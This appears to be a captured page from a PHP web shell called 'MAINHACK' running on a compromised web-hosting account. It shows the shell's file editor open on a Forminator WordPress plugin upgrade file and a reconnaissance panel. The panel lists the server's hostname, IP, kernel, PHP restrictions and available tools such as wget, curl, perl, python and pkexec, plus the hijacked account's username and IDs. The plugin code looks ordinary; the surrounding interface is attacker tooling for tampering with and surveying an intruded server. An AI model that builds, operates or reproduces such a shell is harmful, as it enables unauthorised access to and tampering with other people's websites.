[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: class-upgrade.php
<?php /** * Forminator Upgrade * * @package Forminator */ if ( ! defined( 'ABSPATH' ) ) { die(); } /** * Class Forminator_Upgrade * * Handle any installation upgrade or install tasks */ class Forminator_Upgrade { /** * Initialise data before plugin is fully loaded * * @since 1.0 */ public static function init() { /** * Initialize the plugin data */ $old_version = get_option( 'forminator_version', false ); if ( $old_version ) { $version_changed = version_compare( $old_version, FORMINATOR_VERSION, 'lt' ); if ( $version_changed ) { update_option( 'forminator_version_upgraded', true ); // Set last updated date. update_site_option( 'forminator_last_updated_date', time() ); $activation_date = get_site_option( 'forminator_first_activation_date' ); $last_activation_date = get_site_option( 'forminator_last_activation_date' ); // Set activation dates if not set already. if ( empty( $activation_date ) || empty( $last_activation_date ) ) { Forminator::set_activation_dates(); } } } else { $version_changed = true; } if ( $version_changed ) { // Update tables if required. Forminator_Database_Tables::install_database_tables(); Forminator_Database_Tables::insert_default_entries(); // Run status migration on version update. add_action( 'forminator_update_version', array( 'Forminator_Database_Tables', 'maybe_migrate_entry_status' ), 10, 2 ); add_action( 'admin_init', array( __CLASS__, 'flush_rewrite' ) ); // Update version. update_option( 'forminator_version', FORMINATOR_VERSION ); add_action( 'forminator_loaded', function () use ( $old_version ) { /** * Triggered when Forminator version is updated * * @param string FORMINATOR_VERSION New plugin version * @param string $old_version Old plugin version. */ do_action( 'forminator_update_version', FORMINATOR_VERSION, $old_version ); } ); if ( $old_version ) { self::maybe_enable_place_api_notice( $old_version ); } } } /** * Enable notice for Place API update if the old version is less than 1.51.0. * * @param string $old_version Old plugin version. */ private static function maybe_enable_place_api_notice( $old_version ) { // Show notice for Place API update if the old version is less than 1.51.0-alpha. if ( version_compare( $old_version, '1.51.0-alpha', 'lt' ) ) { $geolocation_settings = get_option( 'forminator_geolocation_settings', array() ); if ( ! empty( $geolocation_settings['api_key'] ) ) { update_option( 'forminator_geolocation_update_place_api_notice', true ); } } } /** * Flush rewrite * * @return void */ public static function flush_rewrite() { // Flush rewrite rules. flush_rewrite_rules(); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium264.web-hosting.com
Server IP: 69.57.162.13
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium264.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 73.69 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kidscntx
User ID (UID): 1154
Group ID (GID): 1112
Script Owner UID: 1154
Current Dir Owner: 1154